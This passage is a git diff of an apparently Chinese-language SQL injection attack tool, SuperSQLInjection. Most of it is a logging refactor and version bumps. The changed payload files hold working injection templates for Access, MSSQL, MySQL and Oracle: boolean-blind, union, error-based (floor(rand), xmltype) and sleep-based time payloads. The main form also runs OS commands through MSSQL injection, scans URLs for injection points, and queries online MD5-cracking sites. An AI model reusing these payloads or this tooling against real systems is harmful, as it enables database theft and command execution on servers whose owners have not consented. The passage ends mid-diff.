-6083,13 +6091,13 @@ namespace SuperSQLInjection stp.WaitForIdle(); this.dataCount = len; this.cmd_txt_result.AppendText(HttpUtility.HtmlDecode(Tools.StringArrayToString(ver_tmp)) + "\r\n"); - this.Invoke(new StringDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!", LogLevel.info); } - this.Invoke(new StringDelegate(log), "报告大侠,获取CMD执行结果完成!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取CMD执行结果完成!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } break; case InjectType.Union: @@ -6105,7 +6113,7 @@ namespace SuperSQLInjection String data_count = getOneDataByUnionOrError(MSSQL.getUnionDataValueByCMD(config.columnsCount, config.showColumn, config.unionFill, MSSQL.cmdDataCount)); - this.Invoke(new StringDelegate(log), "报告大侠,CMD执行后CMD表有" + Tools.convertToInt(data_count) + "行数据,请稍候,正在获取..."); + this.Invoke(new showLogDelegate(log), "报告大侠,CMD执行后CMD表有" + Tools.convertToInt(data_count) + "行数据,请稍候,正在获取...", LogLevel.info); int count = Tools.convertToInt(data_count); this.dataCount = count; @@ -6115,16 +6123,16 @@ namespace SuperSQLInjection String payload = MSSQL.cmdData.Replace("{index}", i.ToString()); String result = getOneDataByUnionOrError(MSSQL.getUnionDataValueByCMD(config.columnsCount, config.showColumn, config.unionFill, payload)); this.cmd_txt_result.AppendText(HttpUtility.HtmlDecode(result) + "\r\n"); - this.Invoke(new StringDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!", LogLevel.info); this.currentDataCount = i; } - this.Invoke(new StringDelegate(log), "报告大侠,获取CMD执行结果完成!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取CMD执行结果完成!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } break; case InjectType.Error: @@ -6134,7 +6142,7 @@ namespace SuperSQLInjection String payload_len = MSSQL.bool_length.Replace("{data}", MSSQL.cmdData); String data_count = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", MSSQL.cmdDataCount)); - this.Invoke(new StringDelegate(log), "报告大侠,正在获取CMD命令执行结果!"); + this.Invoke(new showLogDelegate(log), "报告大侠,正在获取CMD命令执行结果!", LogLevel.info); int count = Tools.convertToInt(data_count); this.dataCount = count; //下标从1开始 @@ -6143,16 +6151,16 @@ namespace SuperSQLInjection String payload = MSSQL.cmdData.Replace("{index}", i.ToString()); String result = getOneDataByUnionOrError(MSSQL.error_value.Replace("{data}", payload)); this.cmd_txt_result.AppendText(HttpUtility.HtmlDecode(result) + "\r\n"); - this.Invoke(new StringDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取到执行CMD命令第" + i + "行数据!", LogLevel.info); this.currentDataCount = i; } - this.Invoke(new StringDelegate(log), "报告大侠,获取CMD执行结果完成!"); + this.Invoke(new showLogDelegate(log), "报告大侠,获取CMD执行结果完成!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "获取值发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "获取值发生异常:" + e.Message,LogLevel.error); } break; } @@ -6160,13 +6168,13 @@ namespace SuperSQLInjection //删除表 HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, MSSQL.dropTable, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); - this.Invoke(new StringDelegate(log), "清除执行命令时创建的临时表完成!"); + this.Invoke(new showLogDelegate(log), "清除执行命令时创建的临时表完成!", LogLevel.info); } catch (Exception e) { - this.Invoke(new StringDelegate(log), "执行命令获取结果发生异常:" + e.Message); + this.Invoke(new showLogDelegate(log), "执行命令获取结果发生异常:" + e.Message, LogLevel.error); } this.cmd_btn_start.Text = "开始"; status = 0; @@ -6390,12 +6398,12 @@ namespace SuperSQLInjection if (isok) { - MessageBox.Show("关键字设置正确!"); + MessageBox.Show("判断值设置正确!"); } else { - MessageBox.Show("此关键字设置错误,无法通过此关键字获取数据!请查看HTTP发包记录是否存在乱码,检查编码设置是否正确;可能此关键字同时在真假条件上出现,请更换关键字!"); + MessageBox.Show("此判断值设置错误,无法通过此判断值获取数据!请查看HTTP发包记录是否存在乱码,检查编码设置是否正确;可能此判断值同时在真假条件上出现,请更换判断值!"); } } } @@ -6450,7 +6458,7 @@ namespace SuperSQLInjection catch (Exception ep) { - log("编码发生异常!" + ep.Message); + log("编码发生异常!" + ep.Message, LogLevel.error); } } @@ -6486,19 +6494,19 @@ namespace SuperSQLInjection this.encode_txt_result.Text = Tools.unHex(decode, "UTF-8"); break; case 5: - log("----------------正在进行在线MD5解密----------------"); - log("----------------正在查找www.cmd5.com---------------"); + log("----------------正在进行在线MD5解密----------------", LogLevel.info); + log("----------------正在查找www.cmd5.com---------------", LogLevel.info); this.encode_txt_result.Text = ""; this.encode_txt_result.Text += "www.cmd5.com查询结果:" + OnlineMD5.decodeMD5_cmd5(this.encode_txt_input.Text) + "\r\n"; - log("----------------正在查找www.md5.com.cn--------------"); + log("----------------正在查找www.md5.com.cn--------------", LogLevel.info); this.encode_txt_result.Text += "www.md5.com.cn查询结果:" + OnlineMD5.decodeMD5_md5_com_cn(this.encode_txt_input.Text) + "\r\n"; - log("---------------正在查找www.xmd5.org----------------"); + log("---------------正在查找www.xmd5.org----------------", LogLevel.info); this.encode_txt_result.Text += "www.xmd5.org查询结果:" + OnlineMD5.decodeMD5_xmd5_org(this.encode_txt_input.Text) + "\r\n"; - log("---------------正在查找www.somd5.com---------------"); + log("---------------正在查找www.somd5.com---------------", LogLevel.info); this.encode_txt_result.Text += "www.somd5.com查询结果:" + OnlineMD5.decodeMD5_somd5_com(this.encode_txt_input.Text) + "\r\n"; - log("---------------正在查找www.md5.cc------------------"); + log("---------------正在查找www.md5.cc------------------", LogLevel.info); this.encode_txt_result.Text += "www.md5.cc查询结果:" + OnlineMD5.decodeMD5_md5_cc(this.encode_txt_input.Text) + "\r\n"; - log("---------------正在查找www.pmd5.com------------------"); + log("---------------正在查找www.pmd5.com------------------", LogLevel.info); this.encode_txt_result.Text += "www.pmd5.cm查询结果:" + OnlineMD5.decodeMD5_pmd5_com(this.encode_txt_input.Text); break; @@ -6507,7 +6515,7 @@ namespace SuperSQLInjection catch (Exception ep) { - log("解码发生异常!" + ep.Message); + log("解码发生异常!" + ep.Message, LogLevel.error); } } public void checkTheKey(ServerInfo trueServer, ServerInfo falseServer, ServerInfo oldServer) @@ -6519,12 +6527,12 @@ namespace SuperSQLInjection //如果为空反过来查找 if (String.IsNullOrEmpty(key)) { - this.Invoke(new StringDelegate(log), "Body响应内容中正向查找未发现盲注关键字!"); + this.Invoke(new showLogDelegate(log), "Body响应内容中正向查找未发现盲注判断值!", LogLevel.info); this.chk_inject_reverseKey.Checked = true; key = Tools.findKeyByStr(falseServer.body, trueServer.body, oldServer.body); if (String.IsNullOrEmpty(key)) { - this.Invoke(new StringDelegate(log), "Body响应内容中反向查找未发现盲注关键字!"); + this.Invoke(new showLogDelegate(log), "Body响应内容中反向查找未发现盲注判断值!", LogLevel.info); this.chk_inject_reverseKey.Checked = false; } } @@ -6532,7 +6540,7 @@ namespace SuperSQLInjection { this.cbox_inject_type.SelectedIndex = 0; this.txt_inject_key.Text = key; - this.Invoke(new StringDelegate(log), "发现盲注关键字!" + key); + this.Invoke(new showLogDelegate(log), "发现盲注判断值!" + key, LogLevel.success); return; } @@ -6540,14 +6548,14 @@ namespace SuperSQLInjection int code = Tools.findKeyByCode(trueServer.code, falseServer.code); if (code == 0) { - this.Invoke(new StringDelegate(log), "响应状态码不能作为盲注判断条件!"); + this.Invoke(new showLogDelegate(log), "响应状态码不能作为盲注判断条件!", LogLevel.info); } else { this.cbox_inject_type.SelectedIndex = 1; this.txt_inject_key.Text = key; - this.Invoke(new StringDelegate(log), "响应状态码可以作为盲注判断条件!"); + this.Invoke(new showLogDelegate(log), "响应状态码可以作为盲注判断条件!", LogLevel.info); return; } @@ -6557,7 +6565,7 @@ namespace SuperSQLInjection { this.cbox_inject_type.SelectedIndex = 2; this.txt_inject_key.Text = config.maxTime.ToString(); - this.Invoke(new StringDelegate(log), "逻辑为真的响应时间可以作为盲注判断条件!"); + this.Invoke(new showLogDelegate(log), "逻辑为真的响应时间可以作为盲注判断条件!", LogLevel.info); return; } if (falseServer.runTime < config.maxTime && trueServer.runTime < config.maxTime) @@ -6565,10 +6573,10 @@ namespace SuperSQLInjection this.cbox_inject_type.SelectedIndex = 2; this.txt_inject_key.Text = config.maxTime.ToString(); this.chk_inject_reverseKey.Checked = true; - this.Invoke(new StringDelegate(log), "逻辑为假的响应时间可以作为盲注判断条件!"); + this.Invoke(new showLogDelegate(log), "逻辑为假的响应时间可以作为盲注判断条件!", LogLevel.info); return; } - this.Invoke(new StringDelegate(log), "没有发现盲注判断条件,请检查注入标记、编码等基础配置是否正确!"); + this.Invoke(new showLogDelegate(log), "没有发现盲注判断条件,请检查注入标记、编码等基础配置是否正确!", LogLevel.info); } private void inject_btn_autoFindKey_Click(object sender, EventArgs e) @@ -6578,7 +6586,7 @@ namespace SuperSQLInjection if (config.request.IndexOf(setInjectStr) == -1) { - MessageBox.Show("大侠,请标记注入后,程序才能自动查找关键字!"); + MessageBox.Show("大侠,请标记注入后,程序才能自动查找判断值!"); return; } if (config.request.IndexOf("") == -1) @@ -6591,12 +6599,12 @@ namespace SuperSQLInjection ServerInfo trueServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, Comm.truePayload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); ServerInfo falseServer = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, Comm.falsePayload, config.request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); checkTheKey(trueServer, falseServer, trueServer); - this.Invoke(new StringDelegate(log), "自动查找关键字完成!"); + this.Invoke(new showLogDelegate(log), "自动查找判断值完成!", LogLevel.info); } catch (Exception ep) { - this.Invoke(new StringDelegate(log), "自动查找关键字发生异常!" + ep.Message); + this.Invoke(new showLogDelegate(log), "自动查找判断值发生异常!" + ep.Message, LogLevel.error); } this.inject_btn_autoFindKey.Enabled = true; } @@ -6693,7 +6701,7 @@ namespace SuperSQLInjection } else { - this.Invoke(new StringDelegate(log), url + "----此URL以检测过了,自动跳过!"); + this.Invoke(new showLogDelegate(log), url + "----此URL以检测过了,自动跳过!", LogLevel.info); } } } @@ -6769,7 +6777,7 @@ namespace SuperSQLInjection } catch (Exception e) { - this.Invoke(new StringDelegate(log), "发生异常----" + e.Message); + this.Invoke(new showLogDelegate(log), "发生异常----" + e.Message,LogLevel.error); } Interlocked.Increment(ref this.scanedDomain); @@ -6781,7 +6789,7 @@ namespace SuperSQLInjection Injection injection = InjectionTools.testInjection(ourl.ToString(), this.config, this.scanInect_chk_scanError.Checked); if (injection.isInjection) { - this.Invoke(new StringDelegate(log), ourl + "存在注入点!"); + this.Invoke(new showLogDelegate(log), ourl + "存在注入点!", LogLevel.success); injectionURLCount++; injection.url = ourl.ToString(); injection.index = injectionURLCount; @@ -6789,7 +6797,7 @@ namespace SuperSQLInjection } else { - this.Invoke(new StringDelegate(log), ourl + "不存在注入点!"); + this.Invoke(new showLogDelegate(log), ourl + "不存在注入点!", LogLevel.info); } Interlocked.Increment(ref this.scanedURLSCount); @@ -7348,7 +7356,7 @@ namespace SuperSQLInjection private void 版本ToolStripMenuItem_Click(object sender, EventArgs e) { - MessageBox.Show("V1.0正式版----" + version); + MessageBox.Show("V1.1正式版----" + version); } private void data_dbs_tsmi_saveDTCStruct_Click(object sender, EventArgs e) @@ -7390,7 +7398,7 @@ namespace SuperSQLInjection catch (Exception ke) { - log("\r\n加载异常----" + ke.Message + "\r\n"); + log("\r\n加载异常----" + ke.Message + "\r\n", LogLevel.error); } } @@ -7407,7 +7415,7 @@ namespace SuperSQLInjection { if (Tools.isExistsNode(this.data_tvw_dbs.Nodes, sdb.Key)) { - log("数据库" + sdb.Key + "已在列表中,无法再次添加如果要添加请先删除原数据库!"); + log("数据库" + sdb.Key + "已在列表中,无法再次添加如果要添加请先删除原数据库!", LogLevel.waring); continue; } TreeNode dbtn = new TreeNode(sdb.Key); @@ -7440,7 +7448,7 @@ namespace SuperSQLInjection catch (Exception ke) { - log("\r\n加载异常----" + ke.Message + "\r\n"); + log("\r\n加载异常----" + ke.Message + "\r\n", LogLevel.error); } } @@ -7670,7 +7678,6 @@ namespace SuperSQLInjection return; } - ServerInfo server = HTTP.sendRequestRetry(config.useSSL, config.reTry, config.domain, config.port, "", config.token_request, config.timeOut, config.encoding, config.is_foward_302, config.redirectDoGet); MessageBox.Show("获取到Token值为:" + Tools.substr(server.body, this.token_txt_startStr.Text, this.token_txt_endStr.Text)); @@ -7742,6 +7749,39 @@ namespace SuperSQLInjection config.useUnicode = this.bypass_chk_use_unicode.Checked; } - + private void data_dbs_tsmi_selectAllSubNode_Click(object sender, EventArgs e) + { + TreeNode tn = this.data_tvw_dbs.SelectedNode; + if (tn != null) + { + tn.Checked = true; + foreach (TreeNode stn in this.data_tvw_dbs.SelectedNode.Nodes) { + if (!stn.Checked){ + stn.Checked = true; + } + } + } + + } + + private void data_dbs_tsmi_selectReversSubNode_Click(object sender, EventArgs e) + { + TreeNode tn = this.data_tvw_dbs.SelectedNode; + if (tn != null) + { + tn.Checked = true; + foreach (TreeNode stn in this.data_tvw_dbs.SelectedNode.Nodes) + { + if (!stn.Checked) + { + stn.Checked = true; + } + else + { + stn.Checked = false; + } + } + } + } } } \ No newline at end of file diff --git a/SuperSQLInjection/Main.resx b/SuperSQLInjection/Main.resx index 7e98624..4203da2 100644 --- a/SuperSQLInjection/Main.resx +++ b/SuperSQLInjection/Main.resx @@ -131,7 +131,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAC - EwAAAk1TRnQBSQFMAgEBCgEAAQgBBwEIAQcBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + EwAAAk1TRnQBSQFMAgEBCgEAASABBwEgAQcBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -281,7 +281,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACq - DQAAAk1TRnQBSQFMAgEBBwEAAYgBBgGIAQYBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + DQAAAk1TRnQBSQFMAgEBBwEAAaABBgGgAQYBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAASADAAEBAQABCAYAAQgYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA @@ -409,6 +409,6 @@ Cache-Control: no-cache,no-store 852, 52 - 86 + 122 \ No newline at end of file diff --git a/SuperSQLInjection/Properties/AssemblyInfo.cs b/SuperSQLInjection/Properties/AssemblyInfo.cs index 5e4f99b..3b841d4 100644 --- a/SuperSQLInjection/Properties/AssemblyInfo.cs +++ b/SuperSQLInjection/Properties/AssemblyInfo.cs @@ -32,5 +32,5 @@ using System.Runtime.InteropServices; // 可以指定所有这些值,也可以使用“内部版本号”和“修订号”的默认值, // 方法是按如下所示使用“*”: // [assembly: AssemblyVersion("1.0.*")] -[assembly: AssemblyVersion("1.2018.08.09")] -[assembly: AssemblyFileVersion("1.2018.08.09")] +[assembly: AssemblyVersion("1.2018.11.17")] +[assembly: AssemblyFileVersion("1.2018.11.17")] diff --git a/SuperSQLInjection/SuperSQLInjection.csproj b/SuperSQLInjection/SuperSQLInjection.csproj index 4a33b42..24e0c99 100644 --- a/SuperSQLInjection/SuperSQLInjection.csproj +++ b/SuperSQLInjection/SuperSQLInjection.csproj @@ -85,9 +85,7 @@ prompt MinimumRecommendedRules.ruleset - - Properties\app.manifest - + @@ -131,6 +129,7 @@ + @@ -242,7 +241,6 @@ Waring.cs - SettingsSingleFileGenerator Settings.Designer.cs diff --git a/SuperSQLInjection/about.resx b/SuperSQLInjection/about.resx index 3adea21..ceafc63 100644 --- a/SuperSQLInjection/about.resx +++ b/SuperSQLInjection/about.resx @@ -112,13 +112,13 @@ 2.0 - System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - 版本:超级SQL注入工具 v1.0 正式版 + 超级SQL注入工具 说明: 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具。 支持自动识别SQL注入,并自动配置,如程序无法自动识别,还可人工干预识别注入,并标记注入位置。 diff --git a/SuperSQLInjection/model/LogLevel.cs b/SuperSQLInjection/model/LogLevel.cs new file mode 100644 index 0000000..d52e596 --- /dev/null +++ b/SuperSQLInjection/model/LogLevel.cs @@ -0,0 +1,16 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace SuperSQLInjection.model +{ + public enum LogLevel + { + error = -1, + info = 0, + waring = 1, + success = 2, + + } +} diff --git a/SuperSQLInjection/payload/Access.cs b/SuperSQLInjection/payload/Access.cs index 4f3a348..b97bb4b 100644 --- a/SuperSQLInjection/payload/Access.cs +++ b/SuperSQLInjection/payload/Access.cs @@ -10,14 +10,14 @@ namespace SuperSQLInjection.payload public static String data_count = "(select count(*) from {table})"; //判断条数 - public static String bool_datas_count = " and " + data_count + ">={len}"; + public static String bool_datas_count = " " + data_count + ">={len}"; public static String substr = "mid(({data}),{index},1)"; //bool方式字符长度判断 - public static String bool_length = " and len({data})>{len}"; + public static String bool_length = " len({data})>{len}"; - public static String bool_value = " and {data}>{len}"; + public static String bool_value = " {data}>{len}"; //获取行数据 public static String data_value = "(select top 1 {data} from (select top {index} {allcolumns} from {table} order by {orderby} asc) t order by t.{orderby} desc)"; diff --git a/SuperSQLInjection/payload/Comm.cs b/SuperSQLInjection/payload/Comm.cs index d2cdaa0..da79b23 100644 --- a/SuperSQLInjection/payload/Comm.cs +++ b/SuperSQLInjection/payload/Comm.cs @@ -6,10 +6,10 @@ namespace SuperSQLInjection.payload { class Comm { - public static String exists_table = " and exists(select 1 from {0})"; - public static String exists_column = " and exists(select {0} from {1})"; - public static String truePayload = " and 1=1"; - public static String falsePayload = " and 1=2"; + public static String exists_table = " exists(select 1 from {0})"; + public static String exists_column = " exists(select {0} from {1})"; + public static String truePayload = " 1=1"; + public static String falsePayload = " 1=2"; public static String unionColumns(List columns, String unionStr) { @@ -26,7 +26,7 @@ namespace SuperSQLInjection.payload public static String unionColumnCountTest(int maxColumn,String fill) { - StringBuilder sb = new StringBuilder(" and 1=2 union all select "); + StringBuilder sb = new StringBuilder(" 1=2 union all select "); for (int i = 1; i <= maxColumn;i++ ) { sb.Append(fill+"+"+i+","); @@ -37,7 +37,7 @@ namespace SuperSQLInjection.payload public static String unionColumnCountTestByOracle(int maxColumn, String fill) { - StringBuilder sb = new StringBuilder(" and 1=2 union all select "); + StringBuilder sb = new StringBuilder(" 1=2 union all select "); for (int i = 1; i <= maxColumn; i++) { sb.Append(fill + ","); @@ -48,7 +48,7 @@ namespace SuperSQLInjection.payload public static String unionColumnCountTestByOracle(int maxColumn,int testIndex,String fill) { - StringBuilder sb = new StringBuilder(" and 1=2 union all select "); + StringBuilder sb = new StringBuilder(" 1=2 union all select "); for (int i = 1; i <= maxColumn; i++) { if (i == testIndex) diff --git a/SuperSQLInjection/payload/MSSQL.cs b/SuperSQLInjection/payload/MSSQL.cs index e00a64b..21b22ff 100644 --- a/SuperSQLInjection/payload/MSSQL.cs +++ b/SuperSQLInjection/payload/MSSQL.cs @@ -31,13 +31,13 @@ namespace SuperSQLInjection.payload //获取数据库数量bool方式 - public static String bool_db_count = " and " + dbs_count + ">{len}"; + public static String bool_db_count = " " + dbs_count + ">{len}"; //获取表数量bool - public static String bool_tables_count = " and " + tables_count + ">{len}"; + public static String bool_tables_count = " " + tables_count + ">{len}"; //获取列数量bool - public static String bool_columns_count = " and " + columns_count + ">{len}"; + public static String bool_columns_count = " " + columns_count + ">{len}"; - public static String bool_datas_count = " and " + data_count + ">={len}"; + public static String bool_datas_count = " " + data_count + ">={len}"; //多字符 public static String unicode_value = "cast(unicode(substring({data},{index},1)) as varchar(100))"; @@ -48,24 +48,24 @@ namespace SuperSQLInjection.payload public static String substr_value = "substring(({data}),{index},{len})"; //bool方式字符长度判断 - public static String bool_length = " and len({data})>{len}"; - public static String bool_dataLength = " and datalength({data})>{len}"; - public static String bool_value = " and {data}>{len}"; - public static String check_li_value = " and len({data})<{len}"; + public static String bool_length = " len({data})>{len}"; + public static String bool_dataLength = " datalength({data})>{len}"; + public static String bool_value = " {data}>{len}"; + public static String check_li_value = " len({data})<{len}"; //bool方式获取值 //每个unicode值范围0-9 - public static String bool_unicode_value = " and (substring({data},{index},1))>{len}"; + public static String bool_unicode_value = " (substring({data},{index},1))>{len}"; //获取行数据 public static String data_value = "(select top 1 {data} from (select top {index} {allcolumns} from [{dbname}]..[{table}] order by {orderby}) t order by {orderby} desc)"; //union获取值 - public static String union_value = " and 1=2 union all select {data}"; + public static String union_value = " 1=2 union all select {data}"; //error方式 - public static String error_value = " and convert(int,(char(94)+char(94)+char(33)+cast({data} as varchar(2000))+char(33)+char(94)+char(94)))=1"; + public static String error_value = " convert(int,(char(94)+char(94)+char(33)+cast({data} as varchar(2000))+char(33)+char(94)+char(94)))=1"; //cmd diff --git a/SuperSQLInjection/payload/MySQL5.cs b/SuperSQLInjection/payload/MySQL5.cs index cdf892f..ffeeb63 100644 --- a/SuperSQLInjection/payload/MySQL5.cs +++ b/SuperSQLInjection/payload/MySQL5.cs @@ -35,13 +35,13 @@ namespace SuperSQLInjection.payload public static String mid_value = "(mid({data},{index},1))"; //获取数据库数量bool方式 - public static String bool_db_count = " and " + dbs_count + ">{len}"; + public static String bool_db_count = " " + dbs_count + ">{len}"; //获取表数量bool - public static String bool_tables_count = " and " + tables_count + ">{len}"; + public static String bool_tables_count = " " + tables_count + ">{len}"; //获取列数量bool - public static String bool_columns_count = " and " + columns_count + ">{len}"; + public static String bool_columns_count = " " + columns_count + ">{len}"; //多字符长度判断 @@ -51,16 +51,16 @@ namespace SuperSQLInjection.payload public static String ord_value = "(ord(mid({data},{index},1)))"; //bool方式字符长度判断 - public static String ver_length = " and "+ bool_length + ">{len}"; + public static String ver_length = " "+ bool_length + ">{len}"; //bool方式字符长度判断 public static String char_len= "char_length({data})"; //bool方式获取值 - public static String ver_value = " and "+ bool_value + ">{len}"; + public static String ver_value = " "+ bool_value + ">{len}"; //bool方式获取值 - public static String bool_ord_value = " and " + mid_value + ">{len}"; + public static String bool_ord_value = " " + mid_value + ">{len}"; //获取行数据bool public static String data_value = "(select {columns} from {dbname}.{table} limit {limit},1)"; @@ -70,13 +70,13 @@ namespace SuperSQLInjection.payload //union获取数据条数 public static String data_count = "(select count(*) from {dbname}.{table})"; //bool判断数据条数 - public static String bool_datas_count = " and " + data_count + ">={len}"; + public static String bool_datas_count = " " + data_count + ">={len}"; //union获取值 - public static String union_value = " and 1=2 union all select {data}"; + public static String union_value = " 1=2 union all select {data}"; //error方式 - public static String error_value = " or (select 1 from (select count(*),concat(({data}),floor(rand(0)*2))x from information_schema.tables group by x)a)"; + public static String error_value = " (select 1 from (select count(*),concat(({data}),floor(rand(0)*2))x from information_schema.tables group by x)a)"; public static String hex = "(select hex({data}))"; public static String hex_value = "(select hex(convert(({data}) using UTF8)))"; @@ -84,7 +84,7 @@ namespace SuperSQLInjection.payload public static String substr_value = "(select substr({data},{start},{len}))"; public static String getBoolCountBySleep(String data,int maxTime) { - return " and (select * from (select(sleep("+ maxTime + "-(if(("+data+ ">{len}), 0, " + maxTime + ")))))"+Tools.RandStr(4)+")"; + return " (select * from (select(sleep("+ maxTime + "-(if(("+data+ ">{len}), 0, " + maxTime + ")))))"+Tools.RandStr(4)+")"; } /// diff --git a/SuperSQLInjection/payload/Oracle.cs b/SuperSQLInjection/payload/Oracle.cs index a667955..5c99957 100644 --- a/SuperSQLInjection/payload/Oracle.cs +++ b/SuperSQLInjection/payload/Oracle.cs @@ -34,11 +34,11 @@ namespace SuperSQLInjection.payload //获取数据库数量bool方式 - public static String bool_db_count = " and " + dbs_count + ">{len}"; + public static String bool_db_count = " " + dbs_count + ">{len}"; //获取表数量bool - public static String bool_tables_count = " and " + tables_count + ">{len}"; + public static String bool_tables_count = " " + tables_count + ">{len}"; //获取列数量bool - public static String bool_columns_count = " and " + columns_count + ">{len}"; + public static String bool_columns_count = " " + columns_count + ">{len}"; @@ -47,10 +47,10 @@ namespace SuperSQLInjection.payload public static String hex_value = "rawtohex(substr({data},{index},1))"; //bool方式字符长度判断 - public static String bool_length = " and length({data})>{len}"; + public static String bool_length = " length({data})>{len}"; //bool方式获取值 - public static String bool_value = " and ascii(substr({data},{index},1))>{len}"; + public static String bool_value = " ascii(substr({data},{index},1))>{len}"; //获取行数据 public static String data_value = "(select {data} from (select {allcolumns},rownum as limit from (select * from {dbname}.{table})) where limit={index})"; @@ -58,15 +58,15 @@ namespace SuperSQLInjection.payload //union获取数据条数 public static String union_data_count = "(select count(*) from {dbname}.{table})"; - public static String bool_datas_count = " and " + union_data_count + ">={len}"; + public static String bool_datas_count = " " + union_data_count + ">={len}"; //union获取值 - public static String union_value = " and 1=2 union all select {data} from dual"; + public static String union_value = " 1=2 union all select {data} from dual"; //error方式 - public static String error_value = " and 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||rawtohex(cast(({data}) as varchar(256)))||chr(58)||chr(45)||chr(45)||chr(62))) from dual)"; + public static String error_value = " 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||rawtohex(cast(({data}) as varchar(256)))||chr(58)||chr(45)||chr(45)||chr(62))) from dual)"; - public static String substr_error_value = " and 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||substr(rawtohex(cast(({data}) as varchar(256))),{start},{len})||chr(58)||chr(45)||chr(45)||chr(62))) from dual)"; + public static String substr_error_value = " 1=(select upper(xmltype(chr(60)||chr(58)||chr(45)||chr(45)||chr(58)||substr(rawtohex(cast(({data}) as varchar(256))),{start},{len})||chr(58)||chr(45)||chr(45)||chr(62))) from dual)"; public static String getUnionDataValue(int columnsLen, int showIndex, String dataPayLoad, String dbname, String table, String index) { diff --git a/SuperSQLInjection/tools/Tools.cs b/SuperSQLInjection/tools/Tools.cs index 46bcb22..0142778 100644 --- a/SuperSQLInjection/tools/Tools.cs +++ b/SuperSQLInjection/tools/Tools.cs @@ -834,15 +834,33 @@ namespace tools { if (!String.IsNullOrEmpty(str)) { - int start = str.IndexOf(startStr); + if (String.IsNullOrEmpty(startStr) && String.IsNullOrEmpty(endStr)) { + return str; + } + int start = -1; + if (String.IsNullOrEmpty(startStr)) + { + start = 0; + } + else { + start = str.IndexOf(startStr); + } if (start != -1) { - int end = str.IndexOf(endStr, start+ startStr.Length); - if (end != -1) + if (String.IsNullOrEmpty(endStr)) { - String token = str.Substring(start + startStr.Length, end - start - startStr.Length); + String token = str.Substring(start + startStr.Length); return token; } + else { + int end = str.IndexOf(endStr, start + startStr.Length); + if (end != -1) + { + String token = str.Substring(start + startStr.Length, end - start - startStr.Length); + return token; + } + } + } } diff --git a/SuperSQLInjection/tools/http/HTTP.cs b/SuperSQLInjection/tools/http/HTTP.cs index 20577a1..48d29be 100644 --- 